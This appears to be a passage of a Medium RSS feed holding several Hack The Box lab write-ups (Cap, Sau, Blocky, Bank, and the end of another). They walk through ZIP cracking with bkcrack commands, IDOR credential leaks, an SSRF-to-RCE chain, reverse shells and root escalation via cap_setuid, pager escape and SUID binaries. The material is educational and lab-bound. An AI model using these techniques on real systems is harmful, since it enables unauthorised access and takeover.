src="https://cdn-images-1.medium.com/max/1024/1*nl_3NhlT09oAc62H9yCkeg.png" /></figure><p>Here, the user.txt was directly available!</p><p>The archive, named something like uploaded-file-3422.zip, was encrypted.</p><p>It was hinted that the target “is encrypted using a legacy method that is vulnerable to a known-plaintext attack,” which means that if I can guess what is inside an encrypted file, I can use bkcrack to figure out how it was locked and unlock the whole ZIP without knowing the password.</p><p>I extracted metadata from the ZIP and noticed it contained .bash_logout, a file that’s nearly identical across Linux systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QHW_zOmmmovjk-vr" /></figure><p>Using 7 Zip to extract internal attributes that is inside .bash_logout.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eehU4efMJOHyo3GR" /></figure><p>The hint included this <a href="https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8">https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8</a> article which helped me realize I could do the same with the .bash_logout file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EPURw7YSfDKP3ioA" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZBtgRcACTS-wrs8j" /></figure><p>Here I compute the CRC32 hash of my computer’s .bash_logout, used to verify file integrity.</p><p>They compare this value to the CRC32 listed in the ZIP archive, confirming it matches. Meaning this is the same plaintext as in the encrypted ZIP.</p><p>As I now know the exact contents of one file inside the encrypted ZIP archive (.bash_logout) and have confirmed it by matching the CRC32, I am now able to use a tool like bkcrack to perform a known plaintext attack.</p><p>This can happen because bkcrack exploits weaknesses in ZIP’s legacy encryption, using the known plaintext and ciphertext of .bash_logout to recover the ZIP encryption keys. Once the keys are recovered, all other files in the ZIP can be decrypted and extracted.</p><p>Next I make a ZIP archive (plain.zip) that contains the known .bash_logout file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/0*03n2CznBdJzcNYWf" /></figure><p>Installing bkcrack:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/0*2pRdM2UBL1inb7mW" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*K-nBnxUoCneypapS" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/0*N_ulOMpEqHHvh9Vu" /></figure><p>Now using bkcrack -C uploaded-file-3422.zip -c .bash_logout -P plain.zip -p .bash_logout.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/0*qM1QiBZGCOJOpxdI" /></figure><p>We will get keys: xxxxxxxx yyyyyyyy zzzzzzzz (The x, y, z will be numbers/letters).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SE7_vyZY4tQ-pa4Q" /></figure><p>These are the internal keys!</p><p>Now I use ‘bkcrack -C uploaded-file-3422.zip -k key1 key2 key3 -U unlocked.zip password’, and unlocked.zip will contain all the files from the original ZIP, but change the password into our chosen password (password).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Eyr0YVexaF6f0mM7" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PkB8q3EGpSAAEGZI" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fDHACQ9k_85NRQrA" /></figure><p>Next, I secured the key file’s permissions using chmod 600 and used that specific key with ssh -i to log into the remote server htb@10.10.11.153.</p><p><strong>⬆️ Privilege Escalation</strong></p><p>After this, I will now look for the website’s code files using find / -name \*laravel\* 2&gt;/dev/null. It found Laravel stuff inside a folder called /srv/prod. This looks like the location of the website code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*GkQIGQutHyWFwfj2" /></figure><p>Now I use grep -nri password . | grep -vE ‘js|config|vendor|bootstrap’ | grep php | grep password to try and find password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DBWpZUqcinulAi9P" /></figure><p>This narrowed results down to PHP logic, where I found this in app/Http/Controllers/AuthController.php:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SJAKmQcKsaHIpWx9" /></figure><p>We found that app/Http/Controllers/AuthController.php is checking that the password is equal to UHC-March-Global-PW!</p><p>Then I used su root and entered the hardcoded password found in the Laravel controller, and it surprisingly worked! The same password was reused for the root system account, granting full access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1BL_TVoAGMIOnZqXgsKFjw.png" /></figure><p>From here I was able to retrieve the root flag from root.txt.</p><p><strong>Things I learned 🙇🏻‍♀️💬</strong></p><ul><li>Type juggling in PHP can be exploited via loose comparisons (== vs ===).</li><li>Legacy ZIP encryption is surprisingly fragile when plaintext is known. A single file is enough to break the entire archive.</li><li>Developers sometimes reuse hardcoded secrets. Compromising one component (like a web app) may expose higher privileges.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=10fd87409d7e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Cap (Writeup)]]></title>
            <link>https://medium.com/@priscillabigail/htb-cap-writeup-08d7ddccbac7?source=rss-ec4afd43b814------2</link>
            <guid isPermaLink="false">https://medium.com/p/08d7ddccbac7</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hack-the-box-writeup]]></category>
            <category><![CDATA[linux-priv-esc]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[penetration-testing-tools]]></category>
            <dc:creator><![CDATA[Priscilla Abigail]]></dc:creator>
            <pubDate>Sun, 27 Apr 2025 07:33:36 GMT</pubDate>
            <atom:updated>2025-04-27T07:38:21.277Z</atom:updated>
            <content:encoded><![CDATA[<p>Hint from HTB: Cap focuses on exploiting Insecure Direct Object Reference (IDOR) to leak credentials and using Linux capabilities to escalate privileges.</p><blockquote><strong><em>OWASP Correlation:</em></strong></blockquote><blockquote><em>WSTG-ATHZ-04: Testing for Insecure Direct Object References (IDOR)</em></blockquote><blockquote><em>WSTG-ATHN-07: Testing for Credentials Transport over an Encrypted Channel</em></blockquote><blockquote><em>WSTG-priv-08: Testing for Linux and Unix file permissions and capabilities</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*QK73_hTzQqUZNasIW0qJDw.png" /></figure><p><strong>🛠 Reconnaissance</strong></p><p>I started with a basic Nmap scan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9lnyooEKzIlnjxtI" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yqdi4EmSVruzOeUO" /></figure><p>Port 80 shows an HTTP service running Gunicorn. So next I nmap scan again, but using the vuln script for port 80 only.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iY8F4aFZV_Cp3Dll" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NaOHPGLVDnwD1wiy" /></figure><p>The scan only reported a potential Denial of Service vulnerability, which wasn’t useful for gaining access, so I moved on to manual exploration.</p><p><strong>🔎 Web Enumeration</strong></p><p>Visiting 10.10.10.245 shows a security dashboard which was already logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mcSyflLMuwj7GPn1" /></figure><p>On the dashboard, I noticed a feature labeled Security Snapshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/0*4V_On7FEMW8yNMF7" /></figure><p>Clicking on it appears to have activated the function, then redirected me to &lt;ip&gt;/data/5 to show the results of the capture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TH2_Z4HXp1moIBdA" /></figure><p><strong>🚨 Exploitation</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lu9N7mdC5wEXAmcP" /></figure><p>Next, I tried changing the ID of the data and it turns out I am able to view other captures stored in the system, which is a case of Insecure Direct Object Reference (IDOR).</p><p>So I downloaded the file, which turned out to be a PCAP file, and opened it with Wireshark.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kmT1XY2LHDa84aE4" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PO_s91oIAAiXahMd" /></figure><p>The 1st and 2nd PCAP files did not show anything interesting, so I tried downloading the PCAP file 0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Q1gRzZRy7Mm5B1l2" /></figure><p>Examining this PCAP shows Nathan’s FTP credentials!</p><p><strong>🐚 Gaining Foothold</strong></p><p>First, I tried using Nathan’s credentials on the FTP service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GDAzXSUc3ufbjeSb" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eMB9tiwHUBS2WYPe" /></figure><p>But the user flag cannot be retrieved, no read access.</p><p>So I tried the same credentials in SSH, and it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*L63IVmYrsXgO0mYh" /></figure><p>Retrieving user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v-ni_M6XysWsBfUeb9fCiA.png" /></figure><p><strong>🚀 Privilege Escalation</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_d1v-62hKQE8pxF_" /></figure><p>With initial access secured, I needed to escalate privileges to root.</p><p>So I tried finding LinPEAS from my machine and downloaded it using WGET. Then hosted a Python HTTP server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sZaGgvRuBGQ4W0Cg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZY5StKsHhlUOZdvW" /></figure><p>Retrieving and running LinPEAS on SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*C6RYBdCwzWXfO1gO" /></figure><p>Running LinPEAS pointed me to an interesting file, a Python 3.8 binary with special Linux capabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*d9Eky6v5C1w9Xctk" /></figure><p>This meant the binary could change its user ID (setuid) and bind low-numbered ports — without needing root privileges.</p><p><strong>🏴 Root Access</strong></p><p>So I launched Python 3.8 and used it to change my UID to 0 (root):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SuMnTs7SNlG9njUV" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*wp2OSrL_cIOPFuFkYHCxWQ.png" /></figure><p>os.setuid(0) changed the user ID to root, os.system(‘id’) confirmed I was running as root, and finally os.system(‘sh’) opened a root shell.</p><p>From there, I retrieved the root flag.</p><p>This worked as Python 3.8 has the cap_setuid capability, allowing the user to change their user ID to root without needing full root access.</p><p><strong>Final Thoughts 🙇🏻‍♀️💬</strong></p><p>Working on this machine taught me to be more patient when paying closer attention to small details, like traffic captures which may feel like searching for a needle in a haystack.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=08d7ddccbac7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Sau (Writeup)]]></title>
            <link>https://medium.com/@priscillabigail/htb-blocky-writeup-7a74e1e22a71?source=rss-ec4afd43b814------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a74e1e22a71</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[hack-the-box-writeup]]></category>
            <dc:creator><![CDATA[Priscilla Abigail]]></dc:creator>
            <pubDate>Sat, 26 Apr 2025 05:30:10 GMT</pubDate>
            <atom:updated>2025-04-27T07:40:12.929Z</atom:updated>
            <content:encoded><![CDATA[<p>Sau is a Linux machine on Hack The Box that provides a great opportunity to practice SSRF (Server-Side Request Forgery) and Unauthenticated Command Injection vulnerabilities. In this writeup, I’ll walk through the steps I took and how I escalated my privileges to root.</p><blockquote><strong><em>OWASP Correlation</em></strong></blockquote><blockquote><em>WSTG-INPV-12: Testing for Server-Side Request Forgery</em></blockquote><blockquote><em>WSTG-INPV-11: Testing for Command Injection</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*hbB-HMakRx27bJ2tFvoHTA.png" /></figure><p>I start with Nmap which shows 3 open ports. Port 22 is typically reserved for remote login via SSH, and 80 is standard for web services. Port 55555 stood out, likely a non-standard web or API service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ol1LgCZX3w6HDKh2" /></figure><p>Browsing to <a href="http://10.10.10.224/">http://10.10.10.224</a> returned nothing useful. However, navigating to <a href="http://10.10.10.224:55555/">http://10.10.10.224:55555</a> revealed a web application named Request Baskets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tI-e5SwmDEmPTSIo" /></figure><p>This app lets users create “baskets” to capture HTTP requests. When I created a new basket, I was given a token, and opening the basket revealed a UI to view incoming requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lDHh0WOL2CjNKe_H" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Kz4TuSd1ls9YB_bf" /></figure><p>After identifying the request-baskets version, I searched for known vulnerabilities and found this CVE, This version allowed unauthenticated users to force the server to make HTTP requests to internal services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZyyZVt2LZSILyP9y" /></figure><p>Used the exploit from <a href="https://github.com/entr0pie/CVE-2023-27163">https://github.com/entr0pie/CVE-2023-27163</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*e9AlXbGuDEhH_gLl" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sJLD06pmsJ2iyFj_" /></figure><p>Visiting the newly created bucket revealed this page, which has a suspiciously obvious version clue for Mailtrail.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bg0mcNN09MCyf5sH" /></figure><p>Which leads me to find this RCE vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6_77VHj_wGBeisxj" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tINr-7faibkVlr0_" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZMPEKbtgfFAbETNi" /></figure><p>Using that exploit, it triggered a reverse shell back to my machine using Netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yGw1zIapr_q5qtVR" /></figure><p>I got a shell as user Puma<strong> </strong>and retrieved the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KgcO14VNH8yU3718-GvO2Q.png" /></figure><p>Upgrading shell and looking for sudo permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MZIUrBul5GMpk2xo" /></figure><p>Followed this article to spawn a shell in the pager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*b7lpMhpiHmIGHXPs" /></figure><p>This command opens a pager (like less or more), which can be escaped by using !sh to spawn a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*y-cMdCdz0asKgbXl" /></figure><p>Now I am able to retrieve the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZQh1ARPGnAv15_OxRLVfGw.png" /></figure><p><strong>Final Thoughts 🙇🏻‍♀️💬</strong></p><p>I learned how to chain simple vulnerabilities to gain full access to a machine. This box taught me the importance of checking all open ports, using SSRF to reach internal services, and identifying known exploits based on software versions. I also learned the importance of checking sudo permissions after getting a shell, which helped me escalate to root.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a74e1e22a71" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Blocky (Writeup)]]></title>
            <link>https://medium.com/@priscillabigail/htb-blocky-writeup-4426a66935c0?source=rss-ec4afd43b814------2</link>
            <guid isPermaLink="false">https://medium.com/p/4426a66935c0</guid>
            <category><![CDATA[hack-the-box-writeup]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Priscilla Abigail]]></dc:creator>
            <pubDate>Sun, 13 Apr 2025 08:44:56 GMT</pubDate>
            <atom:updated>2025-04-14T08:29:15.496Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>HTB Hint: fairly simple overall, and was based on a real-world machine. It demonstrates the risks of bad password practices as well as exposing internal files on a public facing system. On top of this, it exposes a massive potential attack vector: Minecraft. Tens of thousands of servers exist that are publicly accessible, with the vast majority being set up and configured by young and inexperienced system administrators.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*b0WuVgvjaK8CO7Df535gSg.png" /><figcaption>Blocky Machine</figcaption></figure><p><strong>Initial Enumeration 🧭</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NX_4B1updk13JCcp" /></figure><p>I started with an nmap scan, which revealed the domain blocky.htb. Since the machine uses virtual hosting, I added this domain to my /etc/hosts file so I could access the site properly in my browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1U-Vf6fmFzVdtA-r" /></figure><p>Visiting blocky.htb to find clues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WAkIP6cz4PztKH5H" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*e7OcCkVhmqxXGKg7" /></figure><p>The author’s name, <strong>“notch”</strong>, might be the username hinted by HTB, I take note of it.</p><p>Trying to log in with default passwords, but was not successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r9ukDA4z1gMzFom7" /></figure><p>Next, I ran gobuster to enumerate hidden directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XJ78gn-DCWKxHcBU" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*907i4iVIgrIsUfZF" /></figure><p>/phpmyadmin is a well-known MySQL admin interface, but default creds also do not work here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uZ9A_a76HZfj6-D0" /></figure><p>/plugins shows 2 different JAR files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6QlMh4Vt4bmBcfmM" /></figure><p>Decompiling BlockyCore.jar using jd-gui.</p><p>Inside the source, I found hardcoded credentials — likely used for some kind of service authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A1Q2it9mPOzRxQZr9XN8Zg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XCT7H2wUpeUKvlXcW2igOQ.png" /></figure><p>I reused the credentials to log into /phpmyadmin as admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/0*bJdKbrQWix5-CwQo" /></figure><p>Login succeeded, but the database didn’t contain anything useful — just basic info and default tables.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*75OuxRg17z86vJGv" /></figure><p><strong>SSH Access &amp; Privilege Escalation 🔐</strong></p><p>Remembering the earlier clue about the author name, I tried logging into SSH using the notch username and the same password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ly3lByHf6BMa1Q-3" /></figure><p>This worked!</p><p>Once inside, I retrieved the first flag from user.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M8MWqSrk5hFmYdOWO-cc6A.png" /></figure><p>To check what I could do with the current user privileges, I ran sudo -l</p><p>Surprisingly, it showed I could run all commands as root. That meant I could escalate with sudo -i.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qZGfOIUfjJPgpX3MIZYXfA.png" /></figure><p>Now I was root, and could grab the final flag from root.txt.</p><p><strong>Final Thoughts 🙇🏻‍♀️💬</strong></p><p>This machine reinforced the basics of enumeration, credential reuse, and privilege escalation. It taught me how exposed services and downloadable files (in this case, JAR) can leak important information. Overall, it was a fun and straightforward challenge that’s great for practicing fundamental skills.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4426a66935c0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Bank (Writeup)]]></title>
            <link>https://medium.com/@priscillabigail/htb-bank-writeup-46b749f14e16?source=rss-ec4afd43b814------2</link>
            <guid isPermaLink="false">https://medium.com/p/46b749f14e16</guid>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[hack-the-box-writeup]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[file-upload]]></category>
            <dc:creator><![CDATA[Priscilla Abigail]]></dc:creator>
            <pubDate>Fri, 11 Apr 2025 05:38:11 GMT</pubDate>
            <atom:updated>2025-04-11T05:39:25.162Z</atom:updated>
            <content:encoded><![CDATA[<p>Tags: Web Exploitation, File Upload, Privilege Escalation</p><blockquote>“Bank is a relatively simple machine, but proper web enumeration is key to finding the necessary data for entry. There’s also an unintended way in, something many users stumble upon before finding the intended path.” — HTB Hint</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*7kLxHW2JKctxoWEHu_q4pg.png" /><figcaption>Bank Machine</figcaption></figure><p><strong>️Phase 1: Initial Reconnaissance 🕵🏻‍</strong></p><p>As always, I started with an Nmap scan to check for open ports:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IdSOT_V1lzv8pjSn" /></figure><p>The scan revealed three open ports. The next step was to identify how to interact with the target.</p><p>At this point, the domain was still unknown. But I guessed “bank.htb” based on the previous machines I tried.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aBuyPjVgY3uKalGL" /></figure><p>Adding bank.htb and other found domains to /etc/hosts so my browser could resolve them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-AP-LNlCk98Nz2QK" /></figure><p>Visiting the main page led to a login form. I tried common default credentials like admin:admin, but no luck. I also checked for the other subdomains (dev.bank.htb, staging.bank.htb), but they just showed a default Apache Ubuntu page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*9vW-Rp-Egi9yIhSm" /></figure><p>This hinted that the real attack surface might be hidden behind obscure or unlinked directories, so I will try to enumerate them.</p><p>Using gobuster to see any hidden directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*T79R5_YOLh3bePOO" /></figure><p>/assets, /inc, and /balance-transfer all had directory listing enabled. But the most interesting one was /balance-transfer.</p><p><strong>Phase 2: Exploitation 💥</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*B73q8Tc3tSKff0i3" /></figure><p>This was the most interesting directory. Inside, I found a collection of files. Most of them appeared to contain encrypted credentials, probably using some sort of encryption mechanism.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_lL7uwAhPPgQJxbH7nSQ4Q.png" /></figure><p>However, one file stood out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CvDnuyvVRFYagAN1_FVSjA.png" /></figure><p>Its encryption failed, and the credentials were exposed in plaintext.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*4uB8J6als3v5JuXgrOsotA.png" /></figure><p>The credentials can be used to login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SdJRQZ0HPt0SxcUm" /></figure><p>There is also a support page which can be used to upload files. The source code shows that files with .htb can be executed as php. For debugging purpposes only, but can be exploited.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*L6CZyDY_MRA2chqy" /></figure><p>Making a reverse shell payload in php, but saving it with .htb extension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Z1jMtTvE_ng--qaG" /></figure><p>Uploading it through support dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*kQz8s1ENUamUMz-cATMBcQ.png" /></figure><p>Clicking on the attachment to trigger shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J9omqxqQTMhX0Fl0" /></figure><p>Getting shell from netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SreE-Jy7AKd1sdjh" /></figure><p>Retrieve first flag from home.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*94rJZ6T0dcpp9-1d7xh-vQ.png" /></figure><p><strong>Phase 3: Privilege Escalation 🔐</strong></p><p>With a low-privilege shell on the system, the next goal was to escalate privileges and become root.</p><p>I looked for files with the SUID bit set because they can be run with the permissions of their owner (in this case, potentially root).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JKzi2Ck00DDZ5SPQ" /></figure><p>Among the results was a custom binary owned by root. Most standard binaries live in /bin, /usr/bin, /sbin, or/usr/sbin, with familiar names like passwd, su, sudo, mount, etc., but this one was nested in /var with a vague name “emergency”.</p><p>I checked its permissions and ran it to see how it behaved. Sometimes, poorly coded SUID binaries allow unintended behavior like dropping to a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*K2-_GsdhbKEWVsyC" /></figure><p>That’s exactly what happened here. Running the binary dropped me into a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*JFS9IOzHiHJ40gdJ6ZaA7g.png" /></figure><p>Once root, I navigated to /root and captured the final flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*367KnBh-NyVowFxztykSMA.png" /></figure><p><strong>Final Thoughts 🙇🏻‍♀️💬</strong></p><p>As I worked through this machine, I picked up a few useful lessons. Guessing domains like bank.htb can sometimes be a quick way in. Web enumeration really matters as hidden directories often hold the key to getting in. I also learned that directory listing is a common misconfiguration, and it’s always worth checking what’s inside. File upload features can be risky too, especially when the server does weird things like treating .htb files as PHP. For privilege escalation, SUID binaries are always worth checking out. If something looks custom and runs as root, it is very worth checking out.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=46b749f14e16" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>